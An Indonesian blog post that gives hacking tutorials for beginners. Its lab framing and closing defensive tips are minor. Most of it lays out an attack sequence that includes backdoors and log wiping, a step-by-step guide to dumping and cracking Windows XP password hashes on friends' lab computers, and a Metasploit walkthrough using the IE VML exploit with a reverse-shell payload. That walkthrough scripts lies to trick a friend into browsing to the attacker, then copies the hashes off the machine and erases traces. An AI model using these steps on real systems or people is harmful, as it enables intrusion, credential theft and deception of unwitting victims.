text maarque kanan

INGATKAN DIRIMU UNTUK MENGATUR SEGALA SESUATU SUDAH DI ATUR ALLOH

salju

Minggu, 25 Desember 2011

Belajar Hack Yuck! (1)

Belajar Hack Yuck! (1) – Konsep Dasar Hacking




Peretas (Inggris: hacker atau cracker) adalah orang yang mempelajari, menganalisa, dan selanjutnya bila menginginkan, bisa membuat, memodifikasi, atau bahkan mengeksploitasi sistem yang terdapat di sebuah perangkat seperti perangkat lunak komputer dan perangkat keras komputer seperti program komputer, administrasi dan hal-hal lainnya , terutama keamanan.
Terminologi hacker muncul pada awal tahun 1960-an diantara para anggota organisasi mahasiswa Tech Model Railroad Club di Laboratorium Kecerdasan Artifisial Massachusetts Institute of Technology (MIT). Kelompok mahasiswa tersebut merupakan salah satu perintis perkembangan teknologi komputer dan mereka berkutat dengan sejumlah komputer mainframe. Kata hacker pertama kalinya muncul dengan arti positif untuk menyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat program komputer yang lebih baik ketimbang yang telah dirancang bersama.
Kemudian pada tahun 1983, analogi hacker semakin berkembang untuk menyebut seseorang yang memiliki obsesi untuk memahami dan menguasai sistem komputer. Pasalnya, pada tahun tersebut untuk pertama kalinya FBI menangkap kelompok kriminal komputer The 414s yang berbasis di Milwaukee AS. 414 merupakan kode area lokal mereka. Kelompok yang kemudian disebut hacker tersebut dinyatakan bersalah atas pembobolan 60 buah komputer, dari komputer milik Pusat Kanker Memorial Sloan-Kettering hingga komputer milik Laboratorium Nasional Los Alamos.
1 dari pelaku tersebut mendapatkan kekebalan karena testimonialnya, sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan. Pada tahun yang sama keluar pula sebuah film berjudul War Games yang salah satu perannya dimainkan oleh Matthew Broderick sebagai David Lightman. Film tersebut menceritakan seorang remaja penggemar komputer yang secara tidak sengaja terkoneksi dengan super komputer rahasia yang mengkontrol persenjataan nuklir AS.
Kemudian pada tahun 1995 keluarlah film berjudul Hackers, yang menceritakan pertarungan antara anak muda jago komputer bawah tanah dengan sebuah perusahaan high-tech dalam menerobos sebuah sistem komputer. Dalam film tersebut digambarkan bagaimana akhirnya anak-anak muda tersebut mampu menembus dan melumpuhkan keamanan sistem komputer perusahaan tersebut. Salah satu pemainnya adalah Angelina Jolie berperan sebagai Kate Libby alias Acid Burn.
Pada tahun yang sama keluar pula film berjudul The Net yang dimainkan oleh Sandra Bullock sebagai Angela Bennet. Film tersebut mengisahkan bagaimana perjuangan seorang pakar komputer wanita yang identitas dan informasi jati dirinya di dunia nyata telah diubah oleh seseorang. Dengan keluarnya dua film tersebut, maka eksistensi terminologi hacker semakin jauh dari yang pertama kali muncul di tahun 1960-an di MIT.
Hacker pada masa ini memiliki konotasi negatif karena aksi-aksinya yang mengakibatkan kerugian pihak tertentu seperti mengubah tampilan suatu situs web, menyisipkan kode-kode virus dsb. Hacker menggunakan celah-celah keamanan yang belum diperbaiki oleh pembuat perangkat lunak (bug). Tetapi pada masa lalu, dan beberapa golongan hacker masa kini, masih mempertahankan budaya penganalisaan sistem.
Atas alasan ini biasanya para hacker dibagi menjadi 2 golongan White Hat Hackers dan Black Hat Hackers, dimana fungsi dan pekerjaan yang dilakukannya berbeda.
Hacker biasanya dikenal di dunia komputer. Hacker merupakan orang yang memiliki keahlian untuk memecahkan masalah atau membuat sesuatu dengan kreatif dengan mengatasi segala batasan/kendala yang dihadapi. Untuk menjadi hacker sebenarnya mudah, dan mungkin hanya membutuhkan ketekunan dan ketelitian anda.
Cara untuk menjadi hacker adalah sebagai berikut :

1. Mulailah berpikirlah sebagai seorang hacker

Untuk menjadi hacker, cara berpikir anda haruslah cara berpikir seorang hacker. Hacker memecahkan masalah dan membuat sesuatu dengan kreatif dan cara yang baik, sedangkan cracker menghancurkannya.

2. Belajar dan belajar

Sudah pasti untuk menjadi hacker anda harus memiliki keahlian atau skill yang baik. Bila anda belum punya keahlian bagus maka belajarlah dari buku, perpustakaan, internet atau belajar dari hacker yang lain.

3. Kuasai bahasa Inggris

Bahasa inggris sudah menjadi standar intenasional. Kuasai bahasa inggris sudah menjadi keharusan.

4. Kuasai data dan informasi

Dengan menguasai data dan informasi secara maksimal dan menggunakannya secara optimal, maka masalah yang akan dihadapi akan semakin relatif lebih mudah untuk dipecahkan, atau bila sebuah barang maka relatif akan semakin lebih mudah untuk dibuat.

5. Pantang Menyerah

Dengan menjadi hacker berarti jangan mudah menyerah dan putus asa. Jika sebuah cara gagal, masih terbuka cara yang lainnya. Ingat, anda harus berpikir sebagai hacker.
Apakah diri anda sudah mulai menjadi hacker?

Tokoh Hacker

Dennis M.Richie Dennis lahir di Bronxiville, New York pada 9 September 1941. Ia memmperoleh gelar BSc di bidang Fisika dan gelar PhD Matematika Terapan di Harvard University. Pada 1967, setahun sebelum tesis doktoralnya, ia mengikuti jejak ayahnya untuk bekerja di Bell Laboratories. Ia kemudian bekerja sama dengan Ken Thompson dalam menulis sistem operasi UNIX, sistem operasi pertama yang dapat dengan mudah digunakan di berbagai jenis komputer. Untuk menghasilkan sistem operasi semacam itu, ia dan Ken menyempurnakan bahasa pemrograman B karya Ken, dan kemudian menghasilkan bahasa C, yang digunakan untuk menulis UNIX.

Intro
Dalam suatu kesempatan, saya pernah melihat seorang auditor keamanan jaringan melalukan penetration test (pen-test) terhadap suatu sistem IT. Karena penasaran saya melihat sedikit2 cara penetration test yang dilakukan. Waktu itu saya belum banyak tahu tools apa aja yang digunakan, yang saya tau dia menggunakan tcpdump untuk menganalisis paket apa aja yang lewat, trus untuk men-scan beberapa host menggunakan Nessus. Ada salah satu aplikasi yang digunakan berbasis web yang terdapat kumpulan beberapa exploit. Waktu itu saya belum tahu aplikasi apa itu, yang saya ingat aplikasi itu menggunakan alamat http://127.0.0.1:55555, nah berbekal port 55555 saya mencari di google, dan ternyata itu adalah Metasploit Framework!.
Peristiwa itu menginspirasikan saya untuk mengenang masa-masa lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja. Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system. Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.


Bagian 1
*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ‘standar’, hacking sebenarnya tidak harus selalu sesuai dengan ‘standar’ ini.

Hacking buat pemula
- by aCh
Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….
Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….
Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.
Pro dan Kontra Hacking
Pro
Kontra
Etika Hacking
Semua informasi adalah free
Jika semua informasi adalah free, maka tidak ada ladi privacy
Aspek Security
Intrusion adalah ilustrasi kelemahan sistem
Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci
Idle Machines
Hacking hanya pada idle machines
idle machines milik siapa ?
science education
hanya membobol tapi tidak merusak
“hacker wannabe” berpotensi sangat besar untuk merusak
Okeh, sekarang waktunya melakukan aksi…

1. Fase Persiapan
~ Mengumpulkan informasi sebanyak-banyaknya
– Secara Aktif : – portscanning
– network mapping
– OS Detection
– application fingerprinting
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat
– Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)
– via internet registries (informasi domain, IP Addres)
– Website yang menjadi terget

2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->
$gcc -o exploit exploit.c
$./exploit
# hostname (# tanda mendapatkan akses root)
remote host -> $gcc -o exploit exploit.c
$./exploit -t www.target.com
# (klo beruntung mendapatkan akes root)
~ Brute Force
– Secara berulang melakukan percobaan otentifikasi.
– Menebak username dan password.
– Cracking password file
~ Social Engineering
– Memperdayai user untuk memeberi tahu Username dan password
– Intinya ngibulin user….

3. Fase Setelah Eksekusi
~ Menginstall backdoor, trojans, dan rootkit
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin
~ Menyalin /etc/passwd atau /etc/shadow/passwd
Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas pada bagian 3!

Referensi :
-Hacking and Defense, Jim Geovedi, negative@magnesium.net
-Network Defense, Jim Geovedi, negative@magnesium.net


Hack Windows XP (SP2) Passwords

24 09 2006 Apakah anda pernah menggunakan komputer di Lab atau pinjam komputer teman atau bahkan menggunakan komputer di tempat umum? Nah, biasanya klo di Lab (berdasarkan pengalaman pribadi) komputer pasti di-password dan jika ingin masuk harus tanya dulu ke sang empunya. Nah, sekarang kita dapat melihat password dari komputer yang kita gunakan tanpa merestart komputer atau pun tanpa menginstall program apapun seperti Cain, L0pthCrack, dsb. Hanya dibutuhkan sedikit ‘kepercayaan’ untuk meminjam komputer (istilah kerennya social engineering) dan 2 buah program, yaitu pwdump6 dan john the ripper. Tapi klo kebetulan ada login umum dengan tipe administrator, itu namanya Hoki! ga perlu cape2 pinjam login teman lagi :-D .
Sebelumnya mungkin anda pernah mendapatkan tutorial mengenai cara menge-hack password user yang ada Windows XP atau NT menggunakan pwdump. Yup, mungkin tutorial ini akan mirip dengan bagaimana cara menge-hack Windows XP, terutama Windows XP SP2. Lalu apa bedanya dengan tutorial yang lain? Saat ini Windows XP SP2 (atau mungkin juga SP1, CMIIW), menggunakan Syskey untuk memproteksi agar HASH (tempat menyimpan password yang dienkripsi) tidak dapat dibaca dan didump menggunakan pwdump atau samdump. Untuk lebih jelasnya berikut penjelasan mengenai Syskey [1] :
Syskey is a Windows feature that adds an additional encryption layer to the password hashes stored in the SAM database. The main purpose of this feature is to deter ‘offline’ attack. In fact one of the most common ways to gather passwords is to copy the system SAM database and then use one of the many good password crackers to “recover” the passwords; of course physical access is almost always required. So with syskey the attacker needs to remove the additional encryption layer to get the password hashes.
Jika dulu mungkin di Windows NT atau XP (sebelum SP2), kita masih bisa menggunakan pwdump atau bahkan langsung dengan KaHT, maka untuk Windows XP SP2 cara tersebut tidak dapat digunakan lagi (mungkin lebih tepatnya, pwdump tersebut tidak dapat digunakan lagi). Nah disinilah letak perbedaan dengan tutorial sebelumnya. Jika sebelumnya kita menggunakan pwdump versi lama, maka sekarang digunakan pwdump6 yang dikembangkan oleh fizzgig and the foofus.net Team. Kalau baca README dari pwdump6 ini, maka pwdump6 adalah :
pwdump6 is a password hash dumper for Windows 2000 and later systems. It is capable of dumping LanMan and NTLM hashes as well as password hash histories. It is based on pwdump3e, and should be stable on XP SP2 and 2K3. If you have had LSASS crash on you using older tools, this should fix that.
A significantly modified version of pwdump3e, this program is able to extract NTLM and LanMan hashes from a Windows target, regardless of whether Syskey is turned on. It is also capable of displaying password histories if they are available. It outputs the data in L0phtcrack-compatible form, and can write to an output file
Oh iya, agar pwdumpd6 dapat dijalankan dan mendapatkan HASH file dibutuhkan account yang mempunyai akses setara dengan Administrator. Nah, oleh karena itu kita harus menjalankan sedikit social engineering. Bilang aja ketemen kita, klo mengakses workgroup, tapi ga bisa klo pake login biasa. Tapi tenang aja, biasanya secara default orang-orang kebanyakan mebuat user dengan tipe account Administrator. Atau gunakan berbagai macam cara, daya, upaya maupun rayuan agar kita bisa dapat login terlebih dulu.
Jika udah punya akses dengan login tipe adiministrator, cara selanjutnya adalah tinggal menjalankan pwdump6. Jika anda punya flashdisk, simpan dan bawa terus pwdump6 ini kemanapun ada pergi, siapa tahu berguna suatu saat.. :-D . Ok, langsung aja kita jalankan pwdump6 ini. Sebaiknya copy dulu pwdump6 ke Hardisk (jangan dijalankan dari flashdik). Sebelumnya downlod dulu pwdump6 ini dari sini atau download dari mirror situs saya disini.
1. Jalankan CMD (Run->cmd)
2. Jalankan pwdump6 seperti berikut (misalnya PwDump6 berada di folder D:\PwDump6)
D:\PwDump6>PwDump.exe -o pass.txt 127.0.0.1
pwdump6 Version 1.3.0 by fizzgig and the mighty group at foofus.net
Copyright 2006 foofus.net
This program is free software under the GNU
General Public License Version 2 (GNU GPL), you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Software
Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program
and the GNU GPL for further details.
Using pipe {C411BDE9-594E-47F4-99B5-E94ADF194A45}
Key length is 16
Completed.
3. Setelah itu akan didapatkan file pass.txt yang berisi daftar user dan password yang masih dienkripsi. Contohnya akan tampak seperti berikut :
ach:1003:2BFA42D08601B951ABD697149E2F5967:73098347042E9109FA584CE843018F4F:::
Administrator:500:934A4750EC9859B3EA397B0F6EC18E34:732BD09D6834DA4A5A30300A6A045BF8:::
coba:1004:FBE4F28EE205F0BA79999C25263AA9AA:A69C199A4DF77CD41FCA6EA916A93868:::
Guest:501:NO PASSWORD********************* :NO PASSWORD*********************:::
HelpAssistant:1000:B3D2AE56C93F27B43C4F8419B1A21E9B: DC3DBB258A10B0C7EA9D92133267B905:::
SUPPORT_388945a0:1002:NO PASSWORD*********************: DF1DB672DA1B5C045ECA2490CA753D3B:::
4. Yosh!! password sudah ditangan. Proses selanjutnya adalah menge-crack file pass.txt dengan bantuan John The Ripper. Sebaiknya simpan dulu file pass.txt ke USB atau upload ke tempat yang aman, karena proses cracking ini bisa dilakukan kapan saja dan dimana saja. Berdasarkan pengalaman, kalau passwordnya tidak terlalu sulit ditebak seperti “adminkeren”, “qwerty123″, biasanya dibutuhkan waktu yang tidak terlalu lama untuk mengecracknya lewat John The Ripper. Tapi kalau password menggunakan kombinasi yang aneh-aneh seperti “P4ssW0rD”, “S03S4h”, dsb, biasanya membutuhkan waktu lama, bisa ditinggal tidur atau maen aja dulu. Ok, sekarang gini nih cara ngecraknya.
Download John The Ripper untuk Windows disini. Untuk komputer yang menggunakan Prosesor AMD, sebaiknya menggunakan “john-mmx.exe”. Atau bagi yang menggunakan intel atau AMD, dapat menggunakan “John-386.exe”. Sebelumnya copy file pass.txt ke dalam folder tempat “John-mmx.exe” atau “John-386.exe” berada (John171w\john1701\run). Setelah itu tinggal jalankan perintah berikut dan tunggu dengan sabar :
D:\john171w\john1701\run>john-mmx.exe pass.txt
Loaded 8 password hashes with no different salts (NT LM DES [64/64 BS MMX])
REN123 (Administrator:2)
TEBAK (coba:2)
ADMINKE (Administrator:1)
MUDAHDI (coba:1)
Yosh!! sekarang passwordnya sudah terlihat secara kasat mata. Jadi password untuk user “Administrator” adalah “adminkeren123″, diperoleh dari menggabungkan Administrator:2 dan Administrator:2.
Administrator:1+Administrator:2 = adminkeren123
Sedangkan untuk user “coba” adalah “mudahditebak”!!
Mudah bukan? Intinya sih tinggal ambil HASH file (password yang dienkripsi) menggunakan pwdump6 lalu crack hasilnya dengan John The Ripper.
Nah, sekarang kalau kita mau pakai komputer teman di Lab, ga usah cari2 orangnnya lagi. Tinggal pake aja langsung user Admin lagi, tapi jangan sampai ketahuan ama dia….. :-D Atau klo anda lupa password Administrator, tidak perlu mereboot komputer, lalu mereset password anda. Tinggal ikut langkah2 diatas aja!
Referensi

Belajar Hack Yuck! (3) – Hack Windows XP SP2

14 11 2006
*Fyuhh… akhirnya sempet juga nyelesain tulisan ini. Yosh.. here is the prof of concept!.
Disclaimer: This document was written in the interest of education. The author cannot be held responsible for how the topics discussed in this document are applied.
Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.
Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?
The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetrationtesting, shellcode development, and vulnerability research.

Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.
Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!
Pertama2 jalankan ‘mfsconsole’!
main1.JPG
Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.
Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.
This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
Untuk melihat info dari exploit ini gunakan perintah :
msf > info ie_vml_rectfill
Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja :-D ).

Untuk menggunakan exploit gunakan perintah2 berikut dalam console :
msf > use_ie_vml_rectfill
msf > set PAYLOAD win32_reverse
msf > set RHOST ip_target
msf > set LHOST ip_penyerang
msf > exploit
Hasilnya akan tampak seperti gambar berikut :
exploit1.JPG
Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus :-D
Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.

Crack da Password!
Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!
Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :
pwdump.JPG
Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah
C:\temp\Pwdump –o pass.txt 127.0.0.1
Klo berhasil akan tampak pada gambar berikut.
 dump1.JPG
 Lalu copy file pass.txt ke komputer kita
C:\temp\copy pass.txt z:
Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.
clean.JPG
Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).
Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.
Happy Hacking…..

Beberapa saran agar windows kita tetap aman terhadap exploit diatas.
1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.
2. Patch Windows anda.
3. Gunakan antivirus dengan update terbaru
4. Hati2 terhadap teman anda sendiri.. waspadalah!! ;p

Tidak ada komentar:

Posting Komentar